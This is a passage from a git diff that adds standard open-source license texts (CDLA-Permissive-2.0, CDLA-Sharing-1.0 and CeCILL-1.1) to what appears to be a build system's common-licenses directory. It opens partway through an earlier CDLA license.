+1.13 “You” or “Your” means any Entity that Receives Data under this Agreement.
+
+Section 2. Right and License to Use and to Publish
+
+2.1 Subject to the conditions set forth in Section 3 of this Agreement, Data Provider(s) hereby grant(s) to You a worldwide, non-exclusive, irrevocable (except as provided in Section 5) right to: (a) Use Data; and (b) Publish Data.
+
+2.2 To the extent that the Data or the coordination, selection or arrangement of Data is protected or protectable under copyright, Sui Generis Database Rights, or other law, Data Provider(s) further agree(s) that such Data or coordination, selection or arrangement is hereby licensed to You and to anyone else who Receives Data under this Agreement for Use and Publication, subject to the conditions set forth in Section 3 of this Agreement.
+
+2.3 Except for these rights and licenses expressly granted, no other intellectual property rights are granted or should be implied.
+
+Section 3. Conditions on Rights Granted
+
+3.1 If You Publish Data You Receive or Enhanced Data:
+
+(a) You may do so under a license of Your choice provided that You give anyone who Receives the Data from You the text of this Agreement, the name of this Agreement and/or a hyperlink or other method reasonably likely to provide a copy of the text of this Agreement; and
+
+(b) You must cause any Data files containing Enhanced Data to carry prominent notices that You have changed those files; and
+
+(c) If You Publish Data You Receive, You must preserve all credit or attribution to the Data Provider(s). Such retained credit or attribution includes any of the following to the extent they exist in Data as You have Received it: legal notices or metadata; identification of the Data Provider(s); or hyperlinks to Data to the extent it is practical to do so.
+
+3.2 You may provide additional or different license terms and conditions for use, reproduction, or distribution of that Enhanced Data, or for any combination of Data and Enhanced Data as a whole, provided that Your Use and Publication of that combined Data otherwise complies with the conditions stated in this License.
+
+3.3 You and each Data Provider agree that Enhanced Data shall not be considered a work of joint authorship by virtue of its relationship to Data licensed under this Agreement and shall not require either any obligation of accounting to or the consent of any Data Provider.
+
+3.4 This Agreement imposes no obligations or restrictions on Your Use or Publication of Results.
+
+Section 4. Data Provider(s)’ Representations
+
+4.1 Each Data Provider represents that the Data Provider has exercised reasonable care, to assure that: (a) the Data it Publishes was created or generated by it or was obtained from others with the right to Publish the Data under this Agreement; and (b) Publication of such Data does not violate any privacy or confidentiality obligation undertaken by the Data Provider.
+
+Section 5. Termination
+
+5.1 All of Your rights under this Agreement will terminate, and Your right to Receive, Use or Publish the Data will be revoked or modified if You materially fail to comply with the terms and conditions of this Agreement and You do not cure such failure in a reasonable period of time after becoming aware of such noncompliance. If Your rights under this Agreement terminate, You agree to cease Receipt, Use and Publication of Data. However, Your obligations and any rights and permissions granted by You under this Agreement relating to Data that You Published prior to such termination will continue and survive.
+
+5.2 If You institute litigation against a Data Provider or anyone else who Receives the Data (including a cross-claim in a lawsuit) based on the Data, other than a claim asserting breach of this Agreement, then any rights previously granted to You to Receive, Use and Publish Data under this Agreement will terminate as of the date such litigation is filed.
+
+Section 6. Disclaimer of Warranties and Limitation of Liability
+
+6.1 EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE DATA (INCLUDING ENHANCED DATA) IS PROVIDED ON AN “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+6.2 NEITHER YOU NOR ANY DATA PROVIDERS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE DATA OR THE EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+Section 7. Miscellaneous
+
+7.1 You agree that it is solely Your responsibility to comply with all applicable laws with regard to Your Use or Publication of Data, including any applicable privacy, data protection, security and export laws. You agree to take reasonable steps to assist a Data Provider fulfilling responsibilities to comply with applicable laws with regard to Use or Publication of Data Received hereunder.
+
+7.2 You and Data Provider(s), collectively and individually, waive and/or agree not to assert, to the extent permitted by law, any moral rights You or they hold in Data.
+
+7.3 This Agreement confers no rights or remedies upon any person or entity other than the Parties and their respective heirs, executors, successors and assigns.
+
+7.4 The Data Provider(s) reserve no right or expectation of privacy, data protection or confidentiality in any Data that they Publish under this Agreement. If You choose to Publish Data under this Agreement, You similarly do so with no reservation or expectation of any rights of privacy or confidentiality in that Data.
+
+7.5 The Community Data License Agreement workgroup under The Linux Foundation is the steward of this Agreement (“Steward”). No one other than the Steward has the right to modify or publish new versions of this Agreement. Each version will be given a distinguishing version number. You may Use and Publish Data Received hereunder under the terms of the version of the Agreement under which You originally Received the Data, or under the terms of any subsequent version published by the Steward.
diff --git a/meta/files/common-licenses/CDLA-Permissive-2.0 b/meta/files/common-licenses/CDLA-Permissive-2.0
new file mode 100644
index 0000000000..cc0f954b59
--- /dev/null
+++ b/meta/files/common-licenses/CDLA-Permissive-2.0
@@ -0,0 +1,35 @@
+Community Data License Agreement - Permissive - Version 2.0
+
+This is the Community Data License Agreement - Permissive, Version 2.0 (the "agreement"). Data Provider(s) and Data Recipient(s) agree as follows:
+
+1. Provision of the Data
+
+1.1. A Data Recipient may use, modify, and share the Data made available by Data Provider(s) under this agreement if that Data Recipient follows the terms of this agreement.
+
+1.2. This agreement does not impose any restriction on a Data Recipient's use, modification, or sharing of any portions of the Data that are in the public domain or that may be used, modified, or shared under any other legal exception or limitation.
+
+2. Conditions for Sharing Data
+
+2.1. A Data Recipient may share Data, with or without modifications, so long as the Data Recipient makes available the text of this agreement with the shared Data.
+
+3. No Restrictions on Results
+
+3.1. This agreement does not impose any restriction or obligations with respect to the use, modification, or sharing of Results.
+
+4. No Warranty; Limitation of Liability
+
+4.1. All Data Recipients receive the Data subject to the following terms:
+
+THE DATA IS PROVIDED ON AN "AS IS" BASIS, WITHOUT REPRESENTATIONS, WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+NO DATA PROVIDER SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE DATA OR RESULTS, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+5. Definitions
+
+5.1. "Data" means the material received by a Data Recipient under this agreement.
+
+5.2. "Data Provider" means any person who is the source of Data provided under this agreement and in reliance on a Data Recipient's agreement to its terms.
+
+5.3. "Data Recipient" means any person who receives Data directly or indirectly from a Data Provider and agrees to the terms of this agreement.
+
+5.4. "Results" means any outcome obtained by computational analysis of Data, including for example machine learning models and models' insights.
diff --git a/meta/files/common-licenses/CDLA-Sharing-1.0 b/meta/files/common-licenses/CDLA-Sharing-1.0
new file mode 100644
index 0000000000..dba8e2576e
--- /dev/null
+++ b/meta/files/common-licenses/CDLA-Sharing-1.0
@@ -0,0 +1,89 @@
+Community Data License Agreement – Sharing – Version 1.0
+
+This is the Community Data License Agreement – Sharing, Version 1.0 (“Agreement”). Data is provided to You under this Agreement by each of the Data Providers. Your exercise of any of the rights and permissions granted below constitutes Your acceptance and agreement to be bound by the terms and conditions of this Agreement.
+
+The benefits that each Data Provider receives from making Data available and that You receive from Data or otherwise under these terms and conditions shall be deemed sufficient consideration for the formation of this Agreement. Accordingly, Data Provider(s) and You (the “Parties”) agree as follows:
+
+Section 1. Definitions
+
+1.1 “Add” means to supplement Data with Your own or someone else’s Data, resulting in Your “Additions.” Additions do not include Results.
+
+1.2 “Computational Use” means Your analysis (through the use of computational devices or otherwise) or other interpretation of Data. By way of example and not limitation, “Computational Use” includes the application of any computational analytical technique, the purpose of which is the analysis of any Data in digital form to generate information about Data such as patterns, trends, correlations, inferences, insights and attributes.
+
+1.3 “Data” means the information (including copyrightable information, such as images or text), collectively or individually, whether created or gathered by a Data Provider or an Entity acting on its behalf, to which rights are granted under this Agreement.
+
+1.4 “Data Provider” means any Entity (including any employee or contractor of such Entity authorized to Publish Data on behalf of such Entity) that Publishes Data under this Agreement prior to Your Receiving it.
+
+1.5 “Enhanced Data” means the subset of Data that You Publish and that is composed of (a) Your Additions and/or (b) Modifications to Data You have received under this Agreement.
+
+1.6 “Entity” means any natural person or organization that exists under the laws of the jurisdiction in which it is organized, together with all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, “control” means (a) the power, directly or indirectly, to cause the direction or management of such entity, whether by contract or otherwise, (b) the ownership of more than fifty percent (50%) of the outstanding shares or securities, (c) the beneficial ownership of such entity or, (d) the ability to appoint, whether by agreement or right, the majority of directors of an Entity.
+
+1.7 “Ledger” means a digital record of Data or grants of rights in Data governed by this Agreement, using any technology having functionality to record and store Data or grants, contributions, or licenses to Data governed by this Agreement.
+
+1.8 “Modify” means to delete, erase, correct or re-arrange Data, resulting in “Modifications.” Modifications do not include Results.
+
+1.9 “Publish” means to make all or a subset of Data (including Your Enhanced Data) available in any manner which enables its Use, including by providing a copy on physical media or remote access. For any form of Entity, that is to make the Data available to any individual who is not employed by that Entity or engaged as a contractor or agent to perform work on that Entity’s behalf. A “Publication” occurs each time You Publish Data.
+
+1.10 “Receive” or “Receives” means to have been given access to Data, locally or remotely.
+
+1.11 “Results” means the outcomes or outputs that You obtain from Your Computational Use of Data. Results shall not include more than a de minimis portion of the Data on which the Computational Use is based.
+
+1.12 “Sui Generis Database Rights” means rights, other than copyright, resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other equivalent rights anywhere in the world.
+
+1.13 “Use” means using Data (including accessing, copying, studying, reviewing, adapting, analyzing, evaluating, or making Computational Use of it), either by machines or humans, or a combination of both.
+
+1.14 “You” or “Your” means any Entity that Receives Data under this Agreement.
+
+Section 2. Right and License to Use and to Publish
+
+2.1 Subject to the conditions set forth in Section 3 of this Agreement, Data Provider(s) hereby grant(s) to You a worldwide, non-exclusive, irrevocable (except as provided in Section 5) right to: (a) Use Data; and (b) Publish Data.
+
+2.2 To the extent that the Data or the coordination, selection or arrangement of Data is protected or protectable under copyright, Sui Generis Database Rights, or other law, Data Provider(s) further agree(s) that such Data or coordination, selection or arrangement is hereby licensed to You and to anyone else who Receives Data under this Agreement for Use and Publication, subject to the conditions set forth in Section 3 of this Agreement.
+
+2.3 Except for these rights and licenses expressly granted, no other intellectual property rights are granted or should be implied.
+
+Section 3. Conditions on Rights Granted
+
+3.1 If You Publish Data You Receive or Enhanced Data:
+
+(a) The Data (including the Enhanced Data) must be Published under this Agreement in accordance with this Section 3; and
+
+(b) You must cause any Data files containing Enhanced Data to carry prominent notices that You have changed those files; and
+
+(c) If You Publish Data You Receive, You must preserve all credit or attribution to the Data Provider(s). Such retained credit or attribution includes any of the following to the extent they exist in Data as You have Received it: legal notices or metadata; identification of the Data Provider(s); or hyperlinks to Data to the extent it is practical to do so.
+
+3.2 You may not restrict or deter the ability of anyone who Receives the Data (a) to Publish the Data in a publicly-accessible manner or (b) if the project has designated a Ledger for recording Data or grants of rights in Data for purposes of this Agreement, to record the Data or grants of rights in Data in the Ledger.
+
+3.3 If You Publish Data You Receive, You must do so under an unmodified form of this Agreement and include the text of this Agreement, the name of this Agreement and/or a hyperlink or other method reasonably likely to provide a copy of the text of this Agreement. You may not modify this Agreement or impose any further restrictions on the exercise of the rights granted under this Agreement, including by adding any restriction on commercial or non-commercial Use of Data (including Your Enhanced Data) or by limiting permitted Use of such Data to any particular platform, technology or field of endeavor. Notices that purport to modify this Agreement shall be of no effect.
+
+3.4 You and each Data Provider agree that Enhanced Data shall not be considered a work of joint authorship by virtue of its relationship to Data licensed under this Agreement and shall not require either any obligation of accounting to or the consent of any Data Provider.
+
+3.5 This Agreement imposes no obligations or restrictions on Your Use or Publication of Results.
+
+Section 4. Data Provider(s)’ Representations
+
+4.1 Each Data Provider represents that the Data Provider has exercised reasonable care, to assure that: (a) the Data it Publishes was created or generated by it or was obtained from others with the right to Publish the Data under this Agreement; and (b) Publication of such Data does not violate any privacy or confidentiality obligation undertaken by the Data Provider.
+
+Section 5. Termination
+
+5.1 All of Your rights under this Agreement will terminate, and Your right to Receive, Use or Publish the Data will be revoked or modified if You materially fail to comply with the terms and conditions of this Agreement and You do not cure such failure in a reasonable period of time after becoming aware of such noncompliance. If Your rights under this Agreement terminate, You agree to cease Receipt, Use and Publication of Data. However, Your obligations and any rights and permissions granted by You under this Agreement relating to Data that You Published prior to such termination will continue and survive.
+
+5.2 If You institute litigation against a Data Provider or anyone else who Receives the Data (including a cross-claim in a lawsuit) based on the Data, other than a claim asserting breach of this Agreement, then any rights previously granted to You to Receive, Use and Publish Data under this Agreement will terminate as of the date such litigation is filed.
+
+Section 6. Disclaimer of Warranties and Limitation of Liability
+
+6.1 EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE DATA (INCLUDING ENHANCED DATA) IS PROVIDED ON AN “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+6.2 NEITHER YOU NOR ANY DATA PROVIDERS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE DATA OR THE EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+Section 7. Miscellaneous
+
+7.1 You agree that it is solely Your responsibility to comply with all applicable laws with regard to Your Use or Publication of Data, including any applicable privacy, data protection, security and export laws. You agree to take reasonable steps to assist a Data Provider fulfilling responsibilities to comply with applicable laws with regard to Use or Publication of Data Received hereunder.
+
+7.2 You and Data Provider(s), collectively and individually, waive and/or agree not to assert, to the extent permitted by law, any moral rights You or they hold in Data.
+
+7.3 This Agreement confers no rights or remedies upon any person or entity other than the Parties and their respective heirs, executors, successors and assigns.
+
+7.4 The Data Provider(s) reserve no right or expectation of privacy, data protection or confidentiality in any Data that they Publish under this Agreement. If You choose to Publish Data under this Agreement, You similarly do so with no reservation or expectation of any rights of privacy or confidentiality in that Data.
+
+7.5 The Community Data License Agreement workgroup under The Linux Foundation is the steward of this Agreement (“Steward”). No one other than the Steward has the right to modify or publish new versions of this Agreement. Each version will be given a distinguishing version number. You may Use and Publish Data Received hereunder under the terms of the version of the Agreement under which You originally Received the Data, or under the terms of any subsequent version published by the Steward.
diff --git a/meta/files/common-licenses/CECILL-1.1 b/meta/files/common-licenses/CECILL-1.1
new file mode 100644
index 0000000000..95bea5c9db
--- /dev/null
+++ b/meta/files/common-licenses/CECILL-1.1
@@ -0,0 +1,229 @@
+ FREE SOFTWARE LICENSING AGREEMENT CeCILL
+
+Notice
+
+This Agreement is a free software license that is the result of discussions between its authors in order to ensure compliance with the two main principles guiding its drafting:
+ - firstly, its conformity with French law, both as regards the law of torts and intellectual property law, and the protection that it offers to authors and the holders of economic rights over software.
+ - secondly, compliance with the principles for the distribution of free software: access to source codes, extended user-rights.
+
+The following bodies are the authors of this license CeCILL (Ce : CEA, C : CNRS, I : INRIA, LL : Logiciel Libre):
+
+Commissariat à l'Energie Atomique - CEA, a public scientific, technical and industrial establishment, having its principal place of business at 31-33 rue de la Fédération, 75752 PARIS cedex 15, France.
+
+Centre National de la Recherche Scientifique - CNRS, a public scientific and technological establishment, having its principal place of business at 3 rue Michel-Ange 75794 Paris cedex 16, France.
+
+Institut National de Recherche en Informatique et en Automatique - INRIA, a public scientific and technological establishment, having its principal place of business at Domaine de Voluceau, Rocquencourt, BP 105, 78153 Le Chesnay cedex.
+
+PREAMBLE
+
+The purpose of this Free Software Licensing Agreement is to grant users the right to modify and redistribute the software governed by this license within the framework of an "open source" distribution model.
+
+The exercising of these rights is conditional upon certain obligations for users so as to ensure that this status is retained for subsequent redistribution operations.
+
+As a counterpart to the access to the source code and rights to copy, modify and redistribute granted by the license, users are provided only with a limited warranty and the software's author, the holder of the economic rights, and the successive licensors only have limited liability.
+
+In this respect, it is brought to the user's attention that the risks associated with loading, using, modifying and/or developing or reproducing the software by the user given its nature of Free Software, that may mean that it is complicated to manipulate, and that also therefore means that it is reserved for developers and experienced professionals having in-depth computer knowledge. Users are therefore encouraged to load and test the Software's suitability as regards their requirements in conditions enabling the security of their systems and/or data to be ensured and, more generally, to use and operate it in the same conditions of security. This Agreement may be freely reproduced and published, provided it is not altered, and that no Articles are either added or removed herefrom.
+
+This Agreement may apply to any or all software for which the holder of the economic rights decides to submit the operation thereof to its provisions.
+
+Article 1 - DEFINITIONS
+
+For the purposes of this Agreement, when the following expressions commence with a capital letter, they shall have the following meaning:
+
+Agreement: means this Licensing Agreement, and any or all of its subsequent versions.
+
+Software: means the software in its Object Code and/or Source Code form and, where applicable, its documentation, "as is" at the time when the Licensee accepts the Agreement.
+
+Initial Software: means the Software in its Source Code and/or Object Code form and, where applicable, its documentation, "as is" at the time when it is distributed for the first time under the terms and conditions of the Agreement.
+
+Modified Software: means the Software modified by at least one Contribution.
+
+Source Code: means all the Software's instructions and program lines to which access is required so as to modify the Software.
+
+Object Code: means the binary files originating from the compilation of the Source Code.
+
+Holder: means the holder of the economic rights over the Initial Software.
+
+Licensee(s): mean(s) the Software user(s) having accepted the Agreement.
+
+Contributor: means a Licensee having made at least one Contribution.
+
+Licensor: means the Holder, or any or all other individual or legal entity, that distributes the Software under the Agreement.
+
+Contributions: mean any or all modifications, corrections, translations, adaptations and/or new functionalities integrated into the Software by any or all Contributor, and the Static Modules.
+
+Module: means a set of sources files including their documentation that, once compiled in executable form, enables supplementary functionalities or services to be developed in addition to those offered by the Software.
+
+Dynamic Module: means any or all module, created by the Contributor, that is independent of the Software, so that this module and the Software are in two different executable forms that are run in separate address spaces, with one calling the other when they are run.
+
+Static Module: means any or all module, created by the Contributor and connected to the Software by a static link that makes their object codes interdependent. This module and the Software to which it is connected, are combined in a single executable.
+
+Parties: mean both the Licensee and the Licensor.
+
+These expressions may be used both in singular and plural form.
+
+Article 2 - PURPOSE
+
+The purpose of the Agreement is to enable the Licensor to grant the Licensee a free, non-exclusive, transferable and worldwide License for the Software as set forth in Article 5 hereinafter for the whole term of protection of the rights over said Software.
+
+Article 3 - ACCEPTANCE
+
+3.1. The Licensee shall be deemed as having accepted the terms and conditions of this Agreement by the occurrence of the first of the following events:
+ (i) loading the Software by any or all means, notably, by downloading from a remote server, or by loading from a physical medium;
+ (ii) the first time the Licensee exercises any of the rights granted hereunder.
+
+3.2. One copy of the Agreement, containing a notice relating to the specific nature of the Software, to the limited warranty, and to the limitation to use by experienced users has been provided to the Licensee prior to its acceptance as set forth in Article 3.1 hereinabove, and the Licensee hereby acknowledges that it is aware thereof.
+
+Article 4 - EFFECTIVE DATE AND TERM
+
+4.1. EFFECTIVE DATE
+
+The Agreement shall become effective on the date when it is accepted by the Licensee as set forth in Article 3.1.
+
+4.2. TERM
+
+The Agreement shall remain in force during the whole legal term of protection of the economic rights over the Software.
+
+Article 5 - SCOPE OF THE RIGHTS GRANTED ---------------------------------------
+
+The Licensor hereby grants to the Licensee, that accepts such, the following rights as regards the Software for any or all use, and for the term of the Agreement, on the basis of the terms and conditions set forth hereinafter.
+
+Otherwise, the Licensor grants to the Licensee free of charge exploitation rights on the patents he holds on whole or part of the inventions implemented in the Software.
+
+5.1. RIGHTS OF USE
+
+The Licensee is authorized to use the Software, unrestrictedly, as regards the fields of application, with it being hereinafter specified that this relates to:
+ 1. permanent or temporary reproduction of all or part of the Software by any or all means and in any or all form.
+ 2. loading, displaying, running, or storing the Software on any or all medium.
+ 3. entitlement to observe, study or test the operation thereof so as to establish the ideas and principles that form the basis for any or all constituent elements of said Software. This shall apply when the Licensee carries out any or all loading, displaying, running, transmission or storage operation as regards the Software, that it is entitled to carry out hereunder.
+
+5.2. entitlement to make CONTRIBUTIONS
+
+The right to make Contributions includes the right to translate, adapt, arrange, or make any or all modification to the Software, and the right to reproduce the resulting Software.
+
+The Licensee is authorized to make any or all Contribution to the Software provided that it explicitly mentions its name as the author of said Contribution and the date of the development thereof.
+
+5.3. DISTRIBUTION AND PUBLICATION RIGHTS
+
+In particular, the right of distribution and publication includes the right to transmit and communicate the Software to the general public on any or all medium, and by any or all means, and the right to market, either in consideration of a fee, or free of charge, a copy or copies of the Software by means of any or all process. The Licensee is further authorized to redistribute copies of the modified or unmodified Software to third parties according to the terms and conditions set forth hereinafter.
+
+5.3.1. REDISTRIBUTION OF SOFTWARE WITHOUT MODIFICATION
+
+The Licensee is authorized to redistribute true copies of the Software in Source Code or Object Code form, provided that said redistribution complies with all the provisions of the Agreement and is accompanied by:
+
+ 1. a copy of the Agreement,
+ 2. a notice relating to the limitation of both the Licensor's warranty and liability as set forth in Articles 8 and 9,
+
+and that, in the event that only the Software's Object Code is redistributed, the Licensee allows future Licensees unhindered access to the Software's full Source Code by providing them with the terms and conditions for access thereto, it being understood that the additional cost of acquiring the Source Code shall not exceed the cost of transferring the data.
+
+5.3.2. REDISTRIBUTION OF MODIFIED SOFTWARE
+
+When the Licensee makes a Contribution to the Software, the terms and conditions for the redistribution of the Modified Software shall then be subject to all the provisions hereof.
+
+The Licensee is authorized to redistribute the Modified Software, in Source Code or Object Code form, provided that said redistribution complies with all the provisions of the Agreement and is accompanied by:
+
+ 1. a copy of the Agreement,
+ 2. a notice relating to the limitation of both the Licensor's warranty and liability as set forth in Articles 8 and 9,
+
+and that, in the event that only the Modified Software's Object Code is redistributed, the Licensee allows future Licensees unhindered access to the Modified Software's full Source Code by providing them with the terms and conditions for access thereto, it being understood that the additional cost of acquiring the Source Code shall not exceed the cost of transferring the data.
+
+5.3.3. redistribution OF DYNAMIC MODULES
+
+When the Licensee has developed a Dynamic Module, the terms and conditions hereof do not apply to said Dynamic Module, that may be distributed under a separate Licensing Agreement.
+
+5.3.4. COMPATIBILITY WITH THE GPL LICENSE
+
+In the event that the Modified or unmodified Software is included in a code that is subject to the provisions of the GPL License, the Licensee is authorized to redistribute the whole under the GPL License.
+
+In the event that the Modified Software includes a code that is subject to the provisions of the GPL License, the Licensee is authorized to redistribute the Modified Software under the GPL License.
+
+Article 6 - INTELLECTUAL PROPERTY
+
+6.1. OVER THE INITIAL SOFTWARE
+
+The Holder owns the economic rights over the Initial Software. Any or all use of the Initial Software is subject to compliance with the terms and conditions under which the Holder has elected to distribute its work and no one shall be entitled to and it shall have sole entitlement to modify the terms and conditions for the distribution of said Initial Software.
+
+The Holder undertakes to maintain the distribution of the Initial Software under the conditions of the Agreement, for the duration set forth in article 4.2..
+
+6.2. OVER THE CONTRIBUTIONS
+
+The intellectual property rights over the Contributions belong to the holder of the economic rights as designated by effective legislation.
+
+6.3. OVER THE DYNAMIC MODULES
+
+The Licensee having developed a Dynamic Module is the holder of the intellectual property rights over said Dynamic Module and is free to choose the agreement that shall govern its distribution.
+
+6.4. JOINT PROVISIONS
+
+6.4.1. The Licensee expressly undertakes:
+
+ 1. not to remove, or modify, in any or all manner, the intellectual property notices affixed to the Software;
+ 2. to reproduce said notices, in an identical manner, in the copies of the Software.
+
+6.4.2. The Licensee undertakes not to directly or indirectly infringe the intellectual property rights of the Holder and/or Contributors and to take, where applicable, vis-à-vis its staff, any or all measures required to ensure respect for said intellectual property rights of the Holder and/or Contributors.
+
+Article 7 - RELATED SERVICES
+
+7.1. Under no circumstances shall the Agreement oblige the Licensor to provide technical assistance or maintenance services for the Software.
+
+However, the Licensor is entitled to offer this type of service. The terms and conditions of such technical assistance, and/or such maintenance, shall then be set forth in a separate instrument. Only the Licensor offering said maintenance and/or technical assistance services shall incur liability therefor.
+
+7.2. Similarly, any or all Licensor shall be entitled to offer to its Licensees, under its own responsibility, a warranty, that shall only be binding upon itself, for the redistribution of the Software and/or the Modified Software, under terms and conditions that it shall decide upon itself. Said warranty, and the financial terms and conditions of its application, shall be subject to a separate instrument executed between the Licensor and the Licensee.
+
+Article 8 - LIABILITY
+
+8.1. Subject to the provisions of Article 8.2, should the Licensor fail to fulfill all or part of its obligations hereunder, the Licensee shall be entitled to claim compensation for the direct loss suffered as a result of a fault on the part of the Licensor, subject to providing evidence of it.
+
+8.2. The Licensor's liability is limited to the commitments made under this Licensing Agreement and shall not be incurred as a result , in particular: (i) of loss due the Licensee's total or partial failure to fulfill its obligations, (ii) direct or consequential loss due to the Software's use or performance that is suffered by the Licensee, when the latter is a professional using said Software for professional purposes and (iii) consequential loss due to the Software's use or performance. The Parties expressly agree that any or all pecuniary or business loss (i.e. loss of data, loss of profits, operating loss, loss of customers or orders, opportunity cost, any disturbance to business activities) or any or all legal proceedings instituted against the Licensee by a third party, shall constitute consequential loss and shall not provide entitlement to any or all compensation from the Licensor.
+
+Article 9 - WARRANTY
+
+9.1. The Licensee acknowledges that the current situation as regards scientific and technical know-how at the time when the Software was distributed did not enable all possible uses to be tested and verified, nor for the presence of any or all faults to be detected. In this respect, the Licensee's attention has been drawn to the risks associated with loading, using, modifying and/or developing and reproducing the Software that are reserved for experienced users.
+
+The Licensee shall be responsible for verifying, by any or all means, the product's suitability for its requirements, its due and proper functioning, and for ensuring that it shall not cause damage to either persons or property.
+
+9.2. The Licensor hereby represents, in good faith, that it is entitled to grant all the rights on the Software (including in particular the rights set forth in Article 5 hereof over the Software).
+
+9.3. The Licensee acknowledges that the Software is supplied "as is" by the Licensor without any or all other express or tacit warranty, other than that provided for in Article 9.2 and, in particular, without any or all warranty as to its market value, its secured, innovative or relevant nature.
+
+Specifically, the Licensor does not warrant that the Software is free from any or all error, that it shall operate continuously, that it shall be compatible with the Licensee's own equipment and its software configuration, nor that it shall meet the Licensee's requirements.
+
+9.4. The Licensor does not either expressly or tacitly warrant that the Software does not infringe any or all third party intellectual right relating to a patent, software or to any or all other property right. Moreover, the Licensor shall not hold the Licensee harmless against any or all proceedings for infringement that may be instituted in respect of the use, modification and redistribution of the Software. Nevertheless, should such proceedings be instituted against the Licensee, the Licensor shall provide it with technical and legal assistance for its defense. Such technical and legal assistance shall be decided upon on a case-by-case basis between the relevant Licensor and the Licensee pursuant to a memorandum of understanding. The Licensor disclaims any or all liability as regards the Licensee's use of the Software's name. No warranty shall be provided as regards the existence of prior rights over the name of the Software and as regards the existence of a trademark.
+
+Article 10 - TERMINATION
+
+10.1. In the event of a breach by the Licensee of its obligations hereunder, the Licensor may automatically terminate this Agreement thirty (30) days after notice has been sent to the Licensee and has remained ineffective.
+
+10.2. The Licensee whose Agreement is terminated shall no longer be authorized to use, modify or distribute the Software. However, any or all licenses that it may have granted prior to termination of the Agreement shall remain valid subject to their having been granted in compliance with the terms and conditions hereof.
+
+Article 11 - MISCELLANEOUS PROVISIONS
+
+11.1. EXCUSABLE EVENTS
+
+Neither Party shall be liable for any or all delay, or failure to perform the Agreement, that may be attributable to an event of force majeure, an act of God or an outside cause, such as, notably, defective functioning, or interruptions affecting the electricity or telecommunications networks, blocking of the network following a virus attack, the intervention of the government authorities, natural disasters, water damage, earthquakes, fire, explosions, strikes and labor unrest, war, etc.
+
+11.2. The fact that either Party may fail, on one or several occasions, to invoke one or several of the provisions hereof, shall under no circumstances be interpreted as being a waiver by the interested Party of its entitlement to invoke said provision(s) subsequently.
+
+11.3. The Agreement cancels and replaces any or all previous agreement, whether written or oral, between the Parties and having the same purpose, and constitutes the entirety of the agreement between said Parties concerning said purpose. No supplement or modification to the terms and conditions hereof shall be effective as regards the Parties unless it is made in writing and signed by their duly authorized representatives.
+
+11.4. In the event that one or several of the provisions hereof were to conflict with a current or future applicable act or legislative text, said act or legislative text shall take precedence, and the Parties shall make the necessary amendments so as to be in compliance with said act or legislative text. All the other provisions shall remain effective. Similarly, the fact that a provision of the Agreement may be null and void, for any reason whatsoever, shall not cause the Agreement as a whole to be null and void.
+
+11.5. LANGUAGE
+
+The Agreement is drafted in both French and English. In the event of a conflict as regards construction, the French version shall be deemed authentic.
+
+Article 12 - NEW VERSIONS OF THE AGREEMENT
+
+12.1. Any or all person is authorized to duplicate and distribute copies of this Agreement.
+
+12.2. So as to ensure coherence, the wording of this Agreement is protected and may only be modified by the authors of the License, that reserve the right to periodically publish updates or new versions of the Agreement, each with a separate number. These subsequent versions may address new issues encountered by Free Software.
+
+12.3. Any or all Software distributed under a given version of the Agreement may only be subsequently distributed under the same version of the Agreement, or a subsequent version, subject to the provisions of article 5.3.4.
+
+Article 13 - GOVERNING LAW AND JURISDICTION
+
+13.1. The Agreement is governed by French law. The Parties agree to endeavor to settle the disagreements or disputes that may arise during the performance of the Agreement out-of-court.
+
+13.2. In the absence of an out-of-court settlement within two (2) months as from their occurrence, and unless emergency proceedings are necessary, the disagreements or disputes shall be referred to the Paris Courts having jurisdiction, by the first Party to take action.
+
+ Version 1.1 of 10/26/2004
